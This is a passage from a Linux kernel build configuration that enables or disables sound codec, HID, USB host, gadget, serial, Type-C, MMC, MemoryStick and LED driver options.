# CONFIG_SND_SOC_WM8776 is not set
# CONFIG_SND_SOC_WM8782 is not set
# CONFIG_SND_SOC_WM8804_I2C is not set
# CONFIG_SND_SOC_WM8804_SPI is not set
# CONFIG_SND_SOC_WM8903 is not set
# CONFIG_SND_SOC_WM8904 is not set
# CONFIG_SND_SOC_WM8940 is not set
# CONFIG_SND_SOC_WM8960 is not set
# CONFIG_SND_SOC_WM8961 is not set
# CONFIG_SND_SOC_WM8962 is not set
# CONFIG_SND_SOC_WM8974 is not set
# CONFIG_SND_SOC_WM8978 is not set
# CONFIG_SND_SOC_WM8985 is not set
# CONFIG_SND_SOC_WSA881X is not set
# CONFIG_SND_SOC_WSA883X is not set
# CONFIG_SND_SOC_WSA884X is not set
# CONFIG_SND_SOC_WSA885X is not set
# CONFIG_SND_SOC_ZL38060 is not set
# CONFIG_SND_SOC_MAX9759 is not set
# CONFIG_SND_SOC_MT6351 is not set
# CONFIG_SND_SOC_MT6357 is not set
# CONFIG_SND_SOC_MT6358 is not set
# CONFIG_SND_SOC_MT6660 is not set
# CONFIG_SND_SOC_NAU8315 is not set
# CONFIG_SND_SOC_NAU8325 is not set
# CONFIG_SND_SOC_NAU8540 is not set
# CONFIG_SND_SOC_NAU8810 is not set
# CONFIG_SND_SOC_NAU8821 is not set
# CONFIG_SND_SOC_NAU8822 is not set
# CONFIG_SND_SOC_NAU8824 is not set
# CONFIG_SND_SOC_NTP8918 is not set
# CONFIG_SND_SOC_NTP8835 is not set
# CONFIG_SND_SOC_TPA6130A2 is not set
# CONFIG_SND_SOC_LPASS_WSA_MACRO is not set
# CONFIG_SND_SOC_LPASS_VA_MACRO is not set
# CONFIG_SND_SOC_LPASS_RX_MACRO is not set
# CONFIG_SND_SOC_LPASS_TX_MACRO is not set
# end of CODEC drivers

#
# Generic drivers
#
# CONFIG_SND_SIMPLE_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD is not set
# CONFIG_SND_AUDIO_GRAPH_CARD2 is not set
# CONFIG_SND_TEST_COMPONENT is not set
# end of Generic drivers

CONFIG_SND_X86=y
# CONFIG_HDMI_LPE_AUDIO is not set
CONFIG_SND_VIRTIO=y
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HID_BATTERY_STRENGTH=y
CONFIG_HIDRAW=y
CONFIG_UHID=y
CONFIG_HID_GENERIC=y
CONFIG_HID_HAPTIC=y

#
# Special HID drivers
#
CONFIG_HID_A4TECH=y
CONFIG_HID_ACCUTOUCH=y
CONFIG_HID_ACRUX=y
CONFIG_HID_ACRUX_FF=y
CONFIG_HID_APPLE=y
CONFIG_HID_APPLEIR=y
# CONFIG_HID_APPLETB_BL is not set
# CONFIG_HID_APPLETB_KBD is not set
CONFIG_HID_ASUS=y
CONFIG_HID_AUREAL=y
CONFIG_HID_BELKIN=y
CONFIG_HID_BETOP_FF=y
CONFIG_HID_BIGBEN_FF=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CORSAIR=y
CONFIG_HID_COUGAR=y
CONFIG_HID_MACALLY=y
CONFIG_HID_PRODIKEYS=y
CONFIG_HID_CMEDIA=y
CONFIG_HID_CP2112=y
CONFIG_HID_CREATIVE_SB0540=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_DRAGONRISE=y
CONFIG_DRAGONRISE_FF=y
CONFIG_HID_EMS_FF=y
CONFIG_HID_ELAN=y
CONFIG_HID_ELECOM=y
CONFIG_HID_ELO=y
CONFIG_HID_EVISION=y
CONFIG_HID_EZKEY=y
CONFIG_HID_FT260=y
CONFIG_HID_GEMBIRD=y
CONFIG_HID_GFRM=y
CONFIG_HID_GLORIOUS=y
CONFIG_HID_HOLTEK=y
CONFIG_HOLTEK_FF=y
# CONFIG_HID_HYPERX is not set
CONFIG_HID_VIVALDI_COMMON=y
# CONFIG_HID_GOODIX_SPI is not set
CONFIG_HID_GOOGLE_STADIA_FF=y
CONFIG_HID_VIVALDI=y
CONFIG_HID_GT683R=y
# CONFIG_HID_MSI is not set
CONFIG_HID_KEYTOUCH=y
CONFIG_HID_KYE=y
# CONFIG_HID_KYSONA is not set
CONFIG_HID_UCLOGIC=y
CONFIG_HID_WALTOP=y
CONFIG_HID_VIEWSONIC=y
CONFIG_HID_VRC2=y
CONFIG_HID_XIAOMI=y
CONFIG_HID_GYRATION=y
CONFIG_HID_ICADE=y
CONFIG_HID_ITE=y
CONFIG_HID_JABRA=y
CONFIG_HID_TWINHAN=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LCPOWER=y
CONFIG_HID_LED=y
CONFIG_HID_LENOVO=y
# CONFIG_HID_LENOVO_GO is not set
# CONFIG_HID_LENOVO_GO_S is not set
CONFIG_HID_LETSKETCH=y
CONFIG_HID_LOGITECH=y
CONFIG_HID_LOGITECH_DJ=y
CONFIG_HID_LOGITECH_HIDPP=y
CONFIG_LOGITECH_FF=y
CONFIG_LOGIRUMBLEPAD2_FF=y
CONFIG_LOGIG940_FF=y
CONFIG_LOGIWHEELS_FF=y
CONFIG_HID_MAGICMOUSE=y
CONFIG_HID_MALTRON=y
CONFIG_HID_MAYFLASH=y
CONFIG_HID_MEGAWORLD_FF=y
# CONFIG_HID_RAKK is not set
CONFIG_HID_REDRAGON=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_HID_MULTITOUCH=y
CONFIG_HID_NINTENDO=y
CONFIG_NINTENDO_FF=y
CONFIG_HID_NTI=y
CONFIG_HID_NTRIG=y
CONFIG_HID_NVIDIA_SHIELD=y
CONFIG_NVIDIA_SHIELD_FF=y
CONFIG_HID_ORTEK=y
# CONFIG_HID_OXP is not set
CONFIG_HID_PANTHERLORD=y
CONFIG_PANTHERLORD_FF=y
CONFIG_HID_PENMOUNT=y
CONFIG_HID_PETALYNX=y
CONFIG_HID_PICOLCD=y
CONFIG_HID_PICOLCD_FB=y
CONFIG_HID_PICOLCD_BACKLIGHT=y
CONFIG_HID_PICOLCD_LCD=y
CONFIG_HID_PICOLCD_LEDS=y
CONFIG_HID_PICOLCD_CIR=y
CONFIG_HID_PLANTRONICS=y
CONFIG_HID_PLAYSTATION=y
CONFIG_PLAYSTATION_FF=y
CONFIG_HID_PXRC=y
# CONFIG_HID_RAPOO is not set
CONFIG_HID_RAZER=y
CONFIG_HID_PRIMAX=y
CONFIG_HID_RETRODE=y
CONFIG_HID_ROCCAT=y
CONFIG_HID_SAITEK=y
CONFIG_HID_SAMSUNG=y
CONFIG_HID_SEMITEK=y
CONFIG_HID_SIGMAMICRO=y
CONFIG_HID_SONY=y
CONFIG_SONY_FF=y
CONFIG_HID_SPEEDLINK=y
CONFIG_HID_STEAM=y
CONFIG_STEAM_FF=y
CONFIG_HID_STEELSERIES=y
CONFIG_HID_SUNPLUS=y
CONFIG_HID_RMI=y
CONFIG_HID_GREENASIA=y
CONFIG_GREENASIA_FF=y
CONFIG_HID_SMARTJOYPLUS=y
CONFIG_SMARTJOYPLUS_FF=y
CONFIG_HID_TIVO=y
CONFIG_HID_TOPSEED=y
CONFIG_HID_TOPRE=y
CONFIG_HID_THINGM=y
CONFIG_HID_THRUSTMASTER=y
CONFIG_THRUSTMASTER_FF=y
CONFIG_HID_UDRAW_PS3=y
CONFIG_HID_U2FZERO=y
# CONFIG_HID_UNIVERSAL_PIDFF is not set
CONFIG_HID_WACOM=y
CONFIG_HID_WIIMOTE=y
# CONFIG_HID_WINWING is not set
CONFIG_HID_XINMO=y
CONFIG_HID_ZEROPLUS=y
CONFIG_ZEROPLUS_FF=y
CONFIG_HID_ZYDACRON=y
CONFIG_HID_SENSOR_HUB=y
CONFIG_HID_SENSOR_CUSTOM_SENSOR=y
CONFIG_HID_ALPS=y
CONFIG_HID_MCP2200=y
CONFIG_HID_MCP2221=y
CONFIG_HID_HUAWEI=y
# end of Special HID drivers

#
# HID-BPF support
#
# end of HID-BPF support

CONFIG_I2C_HID=y
CONFIG_I2C_HID_ACPI=y
CONFIG_I2C_HID_OF=y
# CONFIG_I2C_HID_OF_ELAN is not set
# CONFIG_I2C_HID_OF_GOODIX is not set
CONFIG_I2C_HID_CORE=y

#
# Intel ISH HID support
#
CONFIG_INTEL_ISH_HID=y
CONFIG_INTEL_ISH_FIRMWARE_DOWNLOADER=y
# end of Intel ISH HID support

#
# AMD SFH HID Support
#
CONFIG_AMD_SFH_HID=y
# end of AMD SFH HID Support

#
# Surface System Aggregator Module HID support
#
CONFIG_SURFACE_HID=y
CONFIG_SURFACE_KBD=y
# end of Surface System Aggregator Module HID support

CONFIG_SURFACE_HID_CORE=y

#
# Intel THC HID Support
#
# CONFIG_INTEL_THC_HID is not set
# end of Intel THC HID Support

#
# USB HID support
#
CONFIG_USB_HID=y
CONFIG_HID_PID=y
CONFIG_USB_HIDDEV=y
# end of USB HID support

CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_LED_TRIG=y
CONFIG_USB_ULPI_BUS=y
CONFIG_USB_CONN_GPIO=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
CONFIG_USB_PCI=y
CONFIG_USB_PCI_AMD=y
CONFIG_USB_ANNOUNCE_NEW_DEVICES=y

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
CONFIG_USB_FEW_INIT_RETRIES=y
CONFIG_USB_DYNAMIC_MINORS=y
CONFIG_USB_OTG=y
# CONFIG_USB_OTG_PRODUCTLIST is not set
# CONFIG_USB_OTG_DISABLE_EXTERNAL_HUB is not set
CONFIG_USB_OTG_FSM=y
CONFIG_USB_LEDS_TRIGGER_USBPORT=y
CONFIG_USB_AUTOSUSPEND_DELAY=2
CONFIG_USB_DEFAULT_AUTHORIZATION_MODE=1
CONFIG_USB_MON=y

#
# USB Host Controller Drivers
#
CONFIG_USB_C67X00_HCD=y
CONFIG_USB_XHCI_HCD=y
CONFIG_USB_XHCI_DBGCAP=y
CONFIG_USB_XHCI_PCI=y
CONFIG_USB_XHCI_PCI_RENESAS=y
CONFIG_USB_XHCI_PLATFORM=y
# CONFIG_USB_XHCI_SIDEBAND is not set
CONFIG_USB_EHCI_HCD=y
CONFIG_USB_EHCI_ROOT_HUB_TT=y
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=y
CONFIG_USB_EHCI_FSL=y
CONFIG_USB_EHCI_HCD_PLATFORM=y
CONFIG_USB_OXU210HP_HCD=y
CONFIG_USB_ISP116X_HCD=y
CONFIG_USB_MAX3421_HCD=y
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_HCD_PCI=y
# CONFIG_USB_OHCI_HCD_SSB is not set
CONFIG_USB_OHCI_HCD_PLATFORM=y
CONFIG_USB_UHCI_HCD=y
CONFIG_USB_SL811_HCD=y
CONFIG_USB_SL811_HCD_ISO=y
CONFIG_USB_SL811_CS=y
CONFIG_USB_R8A66597_HCD=y
CONFIG_USB_HCD_BCMA=y
CONFIG_USB_HCD_SSB=y
# CONFIG_USB_HCD_TEST_MODE is not set

#
# USB Device Class drivers
#
CONFIG_USB_ACM=y
CONFIG_USB_PRINTER=y
CONFIG_USB_WDM=y
CONFIG_USB_TMC=y

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
CONFIG_USB_STORAGE_REALTEK=y
CONFIG_REALTEK_AUTOPM=y
CONFIG_USB_STORAGE_DATAFAB=y
CONFIG_USB_STORAGE_FREECOM=y
CONFIG_USB_STORAGE_ISD200=y
CONFIG_USB_STORAGE_USBAT=y
CONFIG_USB_STORAGE_SDDR09=y
CONFIG_USB_STORAGE_SDDR55=y
CONFIG_USB_STORAGE_JUMPSHOT=y
CONFIG_USB_STORAGE_ALAUDA=y
CONFIG_USB_STORAGE_ONETOUCH=y
CONFIG_USB_STORAGE_KARMA=y
CONFIG_USB_STORAGE_CYPRESS_ATACB=y
CONFIG_USB_STORAGE_ENE_UB6250=y
CONFIG_USB_UAS=y

#
# USB Imaging devices
#
CONFIG_USB_MDC800=y
CONFIG_USB_MICROTEK=y
CONFIG_USBIP_CORE=y
CONFIG_USBIP_VHCI_HCD=y
CONFIG_USBIP_VHCI_HC_PORTS=8
CONFIG_USBIP_VHCI_NR_HCS=16
CONFIG_USBIP_HOST=y
CONFIG_USBIP_VUDC=y
# CONFIG_USBIP_DEBUG is not set

#
# USB dual-mode controller drivers
#
CONFIG_USB_CDNS_SUPPORT=y
CONFIG_USB_CDNS3=y
CONFIG_USB_CDNS3_HOST=y
CONFIG_USB_CDNS3_GADGET=y

#
# Platform glue driver support
#
CONFIG_USB_CDNS3_PCI_WRAP=y
CONFIG_USB_CDNSP_PCI=y
CONFIG_USB_MUSB_HDRC=y
# CONFIG_USB_MUSB_HOST is not set
# CONFIG_USB_MUSB_GADGET is not set
CONFIG_USB_MUSB_DUAL_ROLE=y

#
# Platform Glue Layer
#

#
# MUSB DMA mode
#
CONFIG_MUSB_PIO_ONLY=y
CONFIG_USB_DWC3=y
CONFIG_USB_DWC3_ULPI=y
# CONFIG_USB_DWC3_HOST is not set
CONFIG_USB_DWC3_GADGET=y
# CONFIG_USB_DWC3_DUAL_ROLE is not set

#
# Platform Glue Driver Support
#
CONFIG_USB_DWC3_PCI=y
CONFIG_USB_DWC3_HAPS=y
CONFIG_USB_DWC3_OF_SIMPLE=y
CONFIG_USB_DWC3_GENERIC_PLAT=y
# CONFIG_USB_DWC3_GOOGLE is not set
CONFIG_USB_DWC2=y
CONFIG_USB_DWC2_HOST=y

#
# Gadget/Dual-role mode requires USB Gadget support to be enabled
#
# CONFIG_USB_DWC2_PERIPHERAL is not set
# CONFIG_USB_DWC2_DUAL_ROLE is not set
CONFIG_USB_DWC2_PCI=y
# CONFIG_USB_DWC2_DEBUG is not set
# CONFIG_USB_DWC2_TRACK_MISSED_SOFS is not set
CONFIG_USB_CHIPIDEA=y
CONFIG_USB_CHIPIDEA_UDC=y
CONFIG_USB_CHIPIDEA_HOST=y
CONFIG_USB_CHIPIDEA_PCI=y
CONFIG_USB_CHIPIDEA_MSM=y
CONFIG_USB_CHIPIDEA_NPCM=y
# CONFIG_USB_CHIPIDEA_IMX is not set
CONFIG_USB_CHIPIDEA_GENERIC=y
# CONFIG_USB_CHIPIDEA_TEGRA is not set
CONFIG_USB_ISP1760=y
CONFIG_USB_ISP1760_HCD=y
CONFIG_USB_ISP1761_UDC=y
# CONFIG_USB_ISP1760_HOST_ROLE is not set
# CONFIG_USB_ISP1760_GADGET_ROLE is not set
CONFIG_USB_ISP1760_DUAL_ROLE=y

#
# USB port drivers
#
CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_CONSOLE=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_SIMPLE=y
CONFIG_USB_SERIAL_AIRCABLE=y
CONFIG_USB_SERIAL_ARK3116=y
CONFIG_USB_SERIAL_BELKIN=y
CONFIG_USB_SERIAL_CH341=y
CONFIG_USB_SERIAL_WHITEHEAT=y
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=y
CONFIG_USB_SERIAL_CP210X=y
CONFIG_USB_SERIAL_CYPRESS_M8=y
CONFIG_USB_SERIAL_EMPEG=y
CONFIG_USB_SERIAL_FTDI_SIO=y
CONFIG_USB_SERIAL_VISOR=y
CONFIG_USB_SERIAL_IPAQ=y
CONFIG_USB_SERIAL_IR=y
CONFIG_USB_SERIAL_EDGEPORT=y
CONFIG_USB_SERIAL_EDGEPORT_TI=y
CONFIG_USB_SERIAL_F81232=y
CONFIG_USB_SERIAL_F8153X=y
CONFIG_USB_SERIAL_GARMIN=y
CONFIG_USB_SERIAL_IPW=y
CONFIG_USB_SERIAL_IUU=y
CONFIG_USB_SERIAL_KEYSPAN_PDA=y
CONFIG_USB_SERIAL_KEYSPAN=y
CONFIG_USB_SERIAL_KLSI=y
CONFIG_USB_SERIAL_KOBIL_SCT=y
CONFIG_USB_SERIAL_MCT_U232=y
CONFIG_USB_SERIAL_METRO=y
CONFIG_USB_SERIAL_MOS7720=y
CONFIG_USB_SERIAL_MOS7715_PARPORT=y
CONFIG_USB_SERIAL_MOS7840=y
CONFIG_USB_SERIAL_MXUPORT=y
CONFIG_USB_SERIAL_NAVMAN=y
CONFIG_USB_SERIAL_PL2303=y
CONFIG_USB_SERIAL_OTI6858=y
CONFIG_USB_SERIAL_QCAUX=y
CONFIG_USB_SERIAL_QUALCOMM=y
CONFIG_USB_SERIAL_SPCP8X5=y
CONFIG_USB_SERIAL_SAFE=y
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=y
CONFIG_USB_SERIAL_SYMBOL=y
CONFIG_USB_SERIAL_TI=y
CONFIG_USB_SERIAL_CYBERJACK=y
CONFIG_USB_SERIAL_WWAN=y
CONFIG_USB_SERIAL_OPTION=y
CONFIG_USB_SERIAL_OMNINET=y
CONFIG_USB_SERIAL_OPTICON=y
CONFIG_USB_SERIAL_XSENS_MT=y
CONFIG_USB_SERIAL_WISHBONE=y
CONFIG_USB_SERIAL_SSU100=y
CONFIG_USB_SERIAL_QT2=y
CONFIG_USB_SERIAL_UPD78F0730=y
CONFIG_USB_SERIAL_XR=y
CONFIG_USB_SERIAL_DEBUG=y

#
# USB Miscellaneous drivers
#
CONFIG_USB_USS720=y
CONFIG_USB_EMI62=y
CONFIG_USB_EMI26=y
CONFIG_USB_ADUTUX=y
CONFIG_USB_SEVSEG=y
CONFIG_USB_LEGOTOWER=y
CONFIG_USB_LCD=y
CONFIG_USB_CYPRESS_CY7C63=y
CONFIG_USB_CYTHERM=y
CONFIG_USB_IDMOUSE=y
CONFIG_USB_APPLEDISPLAY=y
CONFIG_APPLE_MFI_FASTCHARGE=y
CONFIG_USB_LJCA=y
# CONFIG_USB_USBIO is not set
CONFIG_USB_SISUSBVGA=y
CONFIG_USB_LD=y
CONFIG_USB_TRANCEVIBRATOR=y
CONFIG_USB_IOWARRIOR=y
CONFIG_USB_TEST=y
CONFIG_USB_EHSET_TEST_FIXTURE=y
CONFIG_USB_ISIGHTFW=y
CONFIG_USB_YUREX=y
CONFIG_USB_EZUSB_FX2=y
CONFIG_USB_HUB_USB251XB=y
CONFIG_USB_HSIC_USB3503=y
CONFIG_USB_HSIC_USB4604=y
CONFIG_USB_LINK_LAYER_TEST=y
CONFIG_USB_CHAOSKEY=y
# CONFIG_USB_ONBOARD_DEV is not set
CONFIG_USB_ATM=y
CONFIG_USB_SPEEDTOUCH=y
CONFIG_USB_CXACRU=y
CONFIG_USB_UEAGLEATM=y
CONFIG_USB_XUSBATM=y

#
# USB Physical Layer drivers
#
CONFIG_USB_PHY=y
CONFIG_NOP_USB_XCEIV=y
CONFIG_TAHVO_USB=y
CONFIG_TAHVO_USB_HOST_BY_DEFAULT=y
CONFIG_USB_ISP1301=y
# end of USB Physical Layer drivers

CONFIG_USB_GADGET=y
# CONFIG_USB_GADGET_DEBUG is not set
CONFIG_USB_GADGET_DEBUG_FILES=y
CONFIG_USB_GADGET_DEBUG_FS=y
CONFIG_USB_GADGET_VBUS_DRAW=2
CONFIG_USB_GADGET_STORAGE_NUM_BUFFERS=2
CONFIG_U_SERIAL_CONSOLE=y

#
# USB Peripheral Controller
#
CONFIG_USB_GR_UDC=y
CONFIG_USB_R8A66597=y
CONFIG_USB_PXA27X=y
CONFIG_USB_SNP_CORE=y
# CONFIG_USB_SNP_UDC_PLAT is not set
# CONFIG_USB_M66592 is not set
CONFIG_USB_BDC_UDC=y
CONFIG_USB_AMD5536UDC=y
CONFIG_USB_NET2280=y
CONFIG_USB_GOKU=y
CONFIG_USB_EG20T=y
# CONFIG_USB_GADGET_XILINX is not set
CONFIG_USB_MAX3420_UDC=y
CONFIG_USB_CDNS2_UDC=y
CONFIG_USB_DUMMY_HCD=y
# end of USB Peripheral Controller

CONFIG_USB_LIBCOMPOSITE=y
CONFIG_USB_F_ACM=y
CONFIG_USB_F_SS_LB=y
CONFIG_USB_U_SERIAL=y
CONFIG_USB_U_ETHER=y
CONFIG_USB_U_AUDIO=y
CONFIG_USB_F_SERIAL=y
CONFIG_USB_F_OBEX=y
CONFIG_USB_F_NCM=y
CONFIG_USB_F_ECM=y
CONFIG_USB_F_PHONET=y
CONFIG_USB_F_EEM=y
CONFIG_USB_F_SUBSET=y
CONFIG_USB_F_RNDIS=y
CONFIG_USB_F_MASS_STORAGE=y
CONFIG_USB_F_FS=y
CONFIG_USB_F_UAC1=y
CONFIG_USB_F_UAC1_LEGACY=y
CONFIG_USB_F_UAC2=y
CONFIG_USB_F_UVC=y
CONFIG_USB_F_MIDI=y
CONFIG_USB_F_MIDI2=y
CONFIG_USB_F_HID=y
CONFIG_USB_F_PRINTER=y
CONFIG_USB_F_TCM=y
CONFIG_USB_CONFIGFS=y
CONFIG_USB_CONFIGFS_SERIAL=y
CONFIG_USB_CONFIGFS_ACM=y
CONFIG_USB_CONFIGFS_OBEX=y
CONFIG_USB_CONFIGFS_NCM=y
CONFIG_USB_CONFIGFS_ECM=y
CONFIG_USB_CONFIGFS_ECM_SUBSET=y
CONFIG_USB_CONFIGFS_RNDIS=y
CONFIG_USB_CONFIGFS_EEM=y
CONFIG_USB_CONFIGFS_PHONET=y
CONFIG_USB_CONFIGFS_MASS_STORAGE=y
CONFIG_USB_CONFIGFS_F_LB_SS=y
CONFIG_USB_CONFIGFS_F_FS=y
CONFIG_USB_CONFIGFS_F_UAC1=y
CONFIG_USB_CONFIGFS_F_UAC1_LEGACY=y
CONFIG_USB_CONFIGFS_F_UAC2=y
CONFIG_USB_CONFIGFS_F_MIDI=y
CONFIG_USB_CONFIGFS_F_MIDI2=y
CONFIG_USB_CONFIGFS_F_HID=y
CONFIG_USB_CONFIGFS_F_UVC=y
CONFIG_USB_CONFIGFS_F_PRINTER=y
CONFIG_USB_CONFIGFS_F_TCM=y

#
# USB Gadget precomposed configurations
#
# CONFIG_USB_ZERO is not set
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_ETH is not set
# CONFIG_USB_G_NCM is not set
CONFIG_USB_GADGETFS=y
# CONFIG_USB_FUNCTIONFS is not set
# CONFIG_USB_MASS_STORAGE is not set
# CONFIG_USB_GADGET_TARGET is not set
# CONFIG_USB_G_SERIAL is not set
# CONFIG_USB_MIDI_GADGET is not set
# CONFIG_USB_G_PRINTER is not set
# CONFIG_USB_CDC_COMPOSITE is not set
# CONFIG_USB_G_NOKIA is not set
# CONFIG_USB_G_ACM_MS is not set
# CONFIG_USB_G_MULTI is not set
# CONFIG_USB_G_HID is not set
# CONFIG_USB_G_DBGP is not set
# CONFIG_USB_G_WEBCAM is not set
CONFIG_USB_RAW_GADGET=y
# end of USB Gadget precomposed configurations

CONFIG_TYPEC=y
CONFIG_TYPEC_TCPM=y
CONFIG_TYPEC_TCPCI=y
CONFIG_TYPEC_RT1711H=y
CONFIG_TYPEC_MT6360=y
CONFIG_TYPEC_TCPCI_MT6370=y
CONFIG_TYPEC_TCPCI_MAXIM=y
CONFIG_TYPEC_FUSB302=y
CONFIG_TYPEC_WCOVE=y
CONFIG_TYPEC_UCSI=y
CONFIG_UCSI_CCG=y
CONFIG_UCSI_ACPI=y
CONFIG_UCSI_STM32G0=y
CONFIG_TYPEC_TPS6598X=y
CONFIG_TYPEC_ANX7411=y
CONFIG_TYPEC_RT1719=y
CONFIG_TYPEC_HD3SS3220=y
CONFIG_TYPEC_STUSB160X=y
CONFIG_TYPEC_WUSB3801=y

#
# USB Type-C Multiplexer/DeMultiplexer Switch support
#
CONFIG_TYPEC_MUX_FSA4480=y
CONFIG_TYPEC_MUX_GPIO_SBU=y
CONFIG_TYPEC_MUX_PI3USB30532=y
CONFIG_TYPEC_MUX_INTEL_PMC=y
# CONFIG_TYPEC_MUX_IT5205 is not set
CONFIG_TYPEC_MUX_NB7VPQ904M=y
# CONFIG_TYPEC_MUX_PS883X is not set
CONFIG_TYPEC_MUX_PTN36502=y
# CONFIG_TYPEC_MUX_TUSB1046 is not set
CONFIG_TYPEC_MUX_WCD939X_USBSS=y
# end of USB Type-C Multiplexer/DeMultiplexer Switch support

#
# USB Type-C Alternate Mode drivers
#
CONFIG_TYPEC_DP_ALTMODE=y
CONFIG_TYPEC_NVIDIA_ALTMODE=y
# CONFIG_TYPEC_TBT_ALTMODE is not set
# end of USB Type-C Alternate Mode drivers

CONFIG_USB_ROLE_SWITCH=y
CONFIG_USB_ROLES_INTEL_XHCI=y
CONFIG_MMC=y
# CONFIG_PWRSEQ_EMMC is not set
# CONFIG_PWRSEQ_SD8787 is not set
# CONFIG_PWRSEQ_SIMPLE is not set
# CONFIG_MMC_BLOCK is not set
# CONFIG_SDIO_UART is not set
# CONFIG_MMC_TEST is not set
# CONFIG_MMC_CRYPTO is not set

#
# MMC/SD/SDIO Host Controller Drivers
#
# CONFIG_MMC_DEBUG is not set
# CONFIG_MMC_SDHCI is not set
# CONFIG_MMC_WBSD is not set
# CONFIG_MMC_TIFM_SD is not set
# CONFIG_MMC_SPI is not set
# CONFIG_MMC_SDRICOH_CS is not set
# CONFIG_MMC_CB710 is not set
# CONFIG_MMC_VIA_SDMMC is not set
CONFIG_MMC_VUB300=y
CONFIG_MMC_USHC=y
# CONFIG_MMC_USDHI6ROL0 is not set
CONFIG_MMC_REALTEK_USB=y
# CONFIG_MMC_CQHCI is not set
# CONFIG_MMC_HSQ is not set
# CONFIG_MMC_TOSHIBA_PCI is not set
# CONFIG_MMC_MTK is not set
# CONFIG_SCSI_UFSHCD is not set
CONFIG_MEMSTICK=y
# CONFIG_MEMSTICK_DEBUG is not set

#
# MemoryStick drivers
#
# CONFIG_MEMSTICK_UNSAFE_RESUME is not set
# CONFIG_MSPRO_BLOCK is not set
# CONFIG_MS_BLOCK is not set

#
# MemoryStick Host Controller Drivers
#
# CONFIG_MEMSTICK_TIFM_MS is not set
# CONFIG_MEMSTICK_JMICRON_38X is not set
# CONFIG_MEMSTICK_R592 is not set
CONFIG_MEMSTICK_REALTEK_USB=y
CONFIG_NEW_LEDS=y
CONFIG_LEDS_CLASS=y
# CONFIG_LEDS_CLASS_FLASH is not set
CONFIG_LEDS_CLASS_MULTICOLOR=y
# CONFIG_LEDS_BRIGHTNESS_HW_CHANGED is not set

#
# LED drivers
#
# CONFIG_LEDS_AN30259A is not set
# CONFIG_LEDS_APU is not set
# CONFIG_LEDS_OSRAM_AMS_AS3668 is not set
# CONFIG_LEDS_AW200XX is not set
# CONFIG_LEDS_AW2013 is not set
# CONFIG_LEDS_BCM6328 is not set
# CONFIG_LEDS_BCM6358 is not set
# CONFIG_LEDS_CHT_WCOVE is not set
# CONFIG_LEDS_CR0014114 is not set
# CONFIG_LEDS_EL15203000 is not set
# CONFIG_LEDS_LM3530 is not set
# CONFIG_LEDS_LM3532 is not set
# CONFIG_LEDS_LM3642 is not set
# CONFIG_LEDS_LM3692X is not set
# CONFIG_LEDS_PCA9532 is not set
# CONFIG_LEDS_GPIO is not set
# CONFIG_LEDS_LP3944 is not set
# CONFIG_LEDS_LP3952 is not set
# CONFIG_LEDS_LP50XX is not set
# CONFIG_LEDS_LP55XX_COMMON is not set
# CONFIG_LEDS_LP8860 is not set
# CONFIG_LEDS_LP8864 is not set
# CONFIG_LEDS_PCA955X is not set
# CONFIG_LEDS_PCA963X is not set
# CONFIG_LEDS_PCA995X is not set
# CONFIG_LEDS_DAC124S085 is not set
# CONFIG_LEDS_REGULATOR is not set
# CONFIG_LEDS_BD2606MVV is not set
# CONFIG_LEDS_BD2802 is not set
# CONFIG_LEDS_INTEL_SS4200 is not set
# CONFIG_LEDS_LT3593 is not set
# CONFIG_LEDS_TCA6507 is not set
# CONFIG_LEDS_TLC591XX is not set
# CONFIG_LEDS_LM355x is not set
# CONFIG_LEDS_IS31FL319X is not set
# CONFIG_LEDS_IS31FL32XX is not set

#
# LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM)
#
# CONFIG_LEDS_BLINKM is not set
# CONFIG_LEDS_SYSCON is not set
# CONFIG_LEDS_MLXCPLD is not set
# CONFIG_LEDS_MLXREG is not set
# CONFIG_LEDS_USER is not set
# CONFIG_LEDS_NIC78BX is not set
# CONFIG_LEDS_SPI_BYTE is not set
# CONFIG_LEDS_LM3697 is not set
# CONFIG_LEDS_ST1202 is not set
# CONFIG_LEDS_LTC3220 is not set
# CONFIG_LEDS_LGM is not set

#
# Flash and Torch LED drivers
#

#
# RGB LED drivers
#
# CONFIG_LEDS_GROUP_MULTICOLOR is not set
# CONFIG_LEDS_KTD202X is not set
# CONFIG_LEDS_LP5812 is not set
# CONFIG_LEDS_LP5860_CORE is not set
# CONFIG_LEDS_LP5860_SPI is not set
# CONFIG_LEDS_NCP5623 is not set
# CONFIG_LEDS_MT6370_RGB is not set

#
# LED Triggers
#
CONFIG_LEDS_TRIGGERS=y
# CONFIG_LEDS_TRIGGER_TIMER is not set
# CONFIG_LEDS_TRIGGER_ONESHOT is not set
# CONFIG_LEDS_TRIGGER_DISK is not set
# CONFIG_LEDS_TRIGGER_MTD is not set
# CONFIG_LEDS_TRIGGER_HEARTBEAT is not set
# CONFIG_LEDS_TRIGGER_BACKLIGHT is not set
# CONFIG_LEDS_TRIGGER_CPU is not set
# CONFIG_LEDS_TRIGGER_ACTIVITY is not set
# CONFIG_LEDS_TRIGGER_GPIO is not set
# CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set

#
# iptables trigger is under Netfilter config (LED target)
#
# CONFIG_LEDS_TRIGGER_TRANSIENT is not set
